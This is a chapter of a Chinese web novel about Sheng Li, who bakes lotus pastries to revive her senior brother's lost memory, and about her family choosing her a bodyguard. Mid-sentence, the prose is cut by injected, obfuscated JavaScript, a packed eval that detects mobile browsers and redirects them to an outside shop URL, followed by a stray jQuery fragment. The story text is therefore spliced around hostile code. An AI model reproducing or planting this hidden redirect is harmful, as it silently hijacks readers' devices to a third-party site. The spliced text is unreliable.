火星在暗夜中明明灭灭,男人长指夹着烟,慵懒地站在落地窗边,望着外面的绚烂灯光,眸中漆黑一片。
盛淮雪没想到,盛礼居然会成为他计划中最大的变数。
那个一无是处的废物为什么突然变了?是中间发生了什么?还是她一直在装?
盛淮雪将烟递到唇边,浅浅吸了一口,动作优雅如同在品茗一般,片刻后,一个烟圈悄然溢出,飘渺的烟雾模糊了男人漂亮的面容。
如果盛礼还和以前一样是个不足为道的蠢货,他倒是可以多留她几天,像玩弄蝼蚁一般慢慢将她碾死。但现在,她成了一个未知的变数,那除掉她就是势在必行的事,而且越快越好。
沉思片刻,男人嘴角浅浅弯起,狭长漂亮的凤眸中绽开点点令人毛骨悚然的笑意。
*
翌日一早,盛淮雪刚打开房间的门,径直迎上了一张明媚的笑脸。
“早上好!”少女眼睛晶亮如星,笑意盈盈道:“我给你准备了早点,你要尝尝吗?”
“不了。”青年象征性弯了弯嘴角:“我不习惯吃早餐。”
言罢,盛淮雪表情淡漠地绕开盛礼,不料少女却突然抓住他手臂,蹙眉道:“那怎么行?一日之际在于早餐,早上不吃点东西多伤身体呀!”
少女缠着纱布的手半挽半拉地拽着盛淮雪的手臂走向用餐区:“去尝一点嘛,我做了很久的。”
被盛礼这么强行一拽,盛淮雪眼底越发不耐,等到了用餐区时,他脸上连象征性的微笑都彻底没了。
价值不菲的餐桌上摆着一盘糕点,形似荷花,清香扑鼻。
“怎么样?”盛礼紧紧观察着盛淮雪的神情,试探道:“这个糕点是不是看起来很眼熟啊?”
经过符印的验证,盛礼已经确定,盛淮雪就是她的大师兄霍见辞。至于他为什么一直对自己抱有敌意,又绝口不提剑宗的事,盛礼认为肯定是发生了什么事,导致大师兄穿到这个世界的时候失去了以前的记忆。
既然如此,盛礼就帮他把记忆再找回来,等大师兄想起了一切,他那么聪明,一定能找到联络剑宗的办法,到时候他们就能回到原来的世界了。
至于桌上这盘荷花酥,就是大师兄以前亲手研制发明的。
盛礼少时嗜甜,不怎么吃正经饭,却最爱各种形状漂亮的香甜糕点。为了让她长大后不至于拥有一口烂牙,也为了能多些营养,霍见辞自己动手研制了这种荷花酥,不至于过甜,而且绵润适口。
盛礼做的这盘荷花酥虽然赶不上霍见辞做的,但应该也能仿个七八分像,盛淮雪看见后,说不定就能回想起什么。
少女一眨不眨地盯着盛淮雪的表情:“是不是越看越眼熟?熟悉的记忆渐渐萦绕在心头?”
“是很眼熟。”
“!”
盛淮雪淡然看向盛礼:“这不是五味斋快要下架的糕点荷花酥么?”
“五味斋?还快要下架了?!”
盛礼脑中嗡的一声,现在的世界已经发展成这样了吗?大师兄那么精心研制的独家荷花酥,明明那么好吃,现在却满大街都是,还快要下架了!
“没想到小礼还有这手艺,可以考虑去五味斋就业了。”盛淮雪皮笑肉不笑的勾了下嘴角,转身就要走。
“等一下!你尝一下吧!”盛礼再次拉住盛淮雪的手臂:“你尝尝我做的,和五味斋的味道不一样的。”
“我不爱吃这种东西。”盛淮雪拂开她的手,淡漠的眸子直视着盛礼:“又甜又腻,令人恶心。”
“不腻的,你尝一尝就知道了,和外面的味道不一样的!”这盘荷花酥带有霍见辞的味道,盛礼铁了心一定要让盛淮雪尝一尝,可盛淮雪又一点尝的意思都没有,僵持之下,盛礼心一横,拿了块糕点径直塞到了男人嘴里。
“……”
青年的脸色肉眼可见的沉了下去,盛礼眼皮一跳,忽感要不妙,但还是硬着头皮问道:“怎么样?这个味道有没有很熟悉?”
盛淮雪面无表情地咬了一口,将剩下的半块荷花酥夹在指尖,沉静的目光在糕点上转了一圈,最后落在少女脸上。
就在盛礼满含期待地等待回复时,青年一把捏住少女的脸颊,迫使她张开嘴,将那半块荷花酥塞到了她嘴里。
“唔!咳……咳咳!”少女又噎又呛,强行将那半块糕点吞咽下去,面色涨得发红。
“就是这个味道。”盛淮雪冷眼看着她,声音中如同淬了寒冰:“如鲠在喉,难吃至极,恨不得马上碾碎除掉,扔进垃圾桶里。”
言罢,青年转身离开。盛礼看着他决绝又冷漠的背影,心底泛起些许复杂的情绪。
那是霍见辞研制的荷花酥,是世界上最好吃的东西,怎么能扔进垃圾桶里呢……
盛礼无力地拉开椅子坐下,双臂交叠趴在桌子上,呆呆望着那盘荷花酥,纤长的睫毛低垂下来,在脸上留下浅浅的阴影。
盛珏晨练回来,额上的汗珠还未全干,刚想来用餐区拿瓶水,不料看见盛礼一副丧眉搭拉眼的样子趴在桌子上,活像一只被抽干了阳气的晦气鬼。
“怎么了?”盛珏拉开冰箱门,随手拿了瓶水,拧开瓶盖后仰头灌了几口,而后走到少女身旁,慢悠悠道:“天塌了?”
“更、糟、糕。”
少女有气无力地吐出几个字,盛珏看着她蔫巴那样,眸底漾出点点笑意。他生平第一次觉得,人类丧丧的样子还怪可爱的。
盛礼缓缓偏过头看了眼盛珏,眸光渐渐凝聚起来,她绝不相信她的荷花酥会那么难吃!
盛珏刚想大发慈悲地安慰她两句,就见少女猛地站了起来,一脸严肃地看着他。
“二哥,你还没吃饭吧?”
“嗯,怎么了?”
少女绽开一个大大的笑脸,拿起桌上的荷花酥端到盛珏眼前。
“你尝尝这个,我亲手做的,你尝尝味道怎么样?”
长发青年一怔,垂眸看了看盘中的荷花酥,又将视线移到盛礼脸上,眸底翻涌起复杂的情绪。
“这是你……特意、亲手给我做的?”
“呃……”盛礼本想说实话,但看见盛珏一副感动到不行的样子,又把实话咽了下去:“算……是吧。”
盛珏强行压制住翘起的嘴角,露出一副不情愿的表情:“行吧,那我就勉强尝一尝。”
青年洗干净手,修长的手指捏起一块儿荷花酥,缓慢地递到嘴里,动作优雅的如同一只高傲的长毛猫。
“怎么样?”盛礼期待地看着他:“味道还可以吧?”
“一般般,又干又硬。”盛珏如实评价道:“比五味斋快要下架那款还难吃。”
“……”
少女眼里的光霎时熄灭,肩膀也颓了下去,如同一只被霜打了的蔫巴茄子。
“但是尚可入口。”盛珏忙找补道:“而且我感觉又干又硬也不是什么缺点,最起码……不会粘牙,吃起来还挺爽口的。”
“……”
盛礼有气无力地笑了下:“谢谢你啊二哥,我知道了。”
看来她做的是真的很差劲,怪不得盛淮雪吃完之后没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486340|202028||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么印象。
少女把糕点放在桌子上,心情沉重。盛珏绕到她另一侧安慰到:“一个人一个口味,也不一定是你做的难吃。你可以去给长姐尝尝。”
盛珏仿佛找到了理由,坚定道:“正好长姐有事找你,你去给她尝尝,说不定她就很喜欢。”
“有道理。”盛礼说干就干,端起盘子就往外走:“我这就去找长姐。”
*
深色装修的低奢书房中,一盘鲜艳的荷花酥绽放在木纹书桌上。
盛运抬眸看了眼手脸上都包着纱布的盛礼,又看了眼一直在对她使眼色的盛珏。
沉默片刻,盛运拿起一块荷花酥咬了一口。
盛礼眼巴巴盯着盛运的动作,虔诚地等待她的评价。
“挺好的。”盛运放下糕点抿了口水:“干脆清爽,比五味斋的要特别。”
盛礼深深松了口气,她就说嘛!这荷花酥可是大师兄一步一步教她做的,怎么会难吃呢!
糕点品尝完毕,盛运开始说正事。
“盛家每一位嫡系成员身边都有一名贴身暗卫,你知道吗?”
盛礼点点头:“嗯。”
盛运的目光扫过盛礼手上、脸上裹着的纱布,眉头不自觉拧起。
虽说桥东村后山的事是盛礼非要跟去,才发生了意外,但如果她有一名灵力高强的忠诚暗卫在侧,也不至于伤成这个样子。
这事是她的疏忽。
“你也是盛家的嫡系成员,所以现在也要给你选拔一名暗卫。”盛运淡声道:“从小培养肯定是来不及了,但你可以说一下想要什么性格、什么样貌、什么灵力属性的。”
盛礼有些诧异,条件反射道:“不用那么麻烦吧,我可以保护自己的,而且以前不也没有暗卫吗?”
“以前是以前。”盛运直视着盛礼:“但最近你的闯祸频率和受伤频率实在太高。”
盛礼:“……”
思考片刻,盛礼福至心灵,申请道:“长姐不用再费心找了,我身边就有一个人选。”
盛运:“谁?”
盛礼:“玄刃。”
“什么?!就是你养的那个小男模??”盛珏第一个跳出来反对:“不行!他瘦得跟鸡崽子一样,而且还没有灵力,除了一张脸能看,其余一无是处,你找他当暗卫是闲自己死得不够快吗?”
盛礼狡辩:“他身手很好力气很大的,上次我和他打架,他一把掀起桌子就向我砸过来了,如果不是我躲得快,当时就被他砸死了。”
盛运:“……”
盛珏:“那就更不行了!你要找的是贴身暗卫,不是贴身杀手!”
盛运没说话,只静静看着盛礼,眸色犹如一汪深潭。
沉默了好一会,盛运缓缓问道:“为什么选他?”
盛礼如实回答:“我有自己的理由。”
“有把握收服他吗?”
“当然。”
少女直直望着盛运,没有丝毫躲闪,目光坚定明亮。
盛运嘴角弯起一抹弧度:“可以。”
得到盛运的首肯,盛礼心情愉悦地走出书房,准备好好迎接玄刃。
盛珏看着少女的背影淡出视线,眉头就没有舒展过,不解道:“长姐,你为什么答应她?盛礼就是被那小子的脸给糊弄住了!那个玄刃一直对她怀恨在心,怎么可能死心塌地的保护她?”
“无妨,她心中有数。”盛运眉眼舒展:“小珏,你没发现吗?”
盛珏不解:“发现什么?”
“小礼变了。”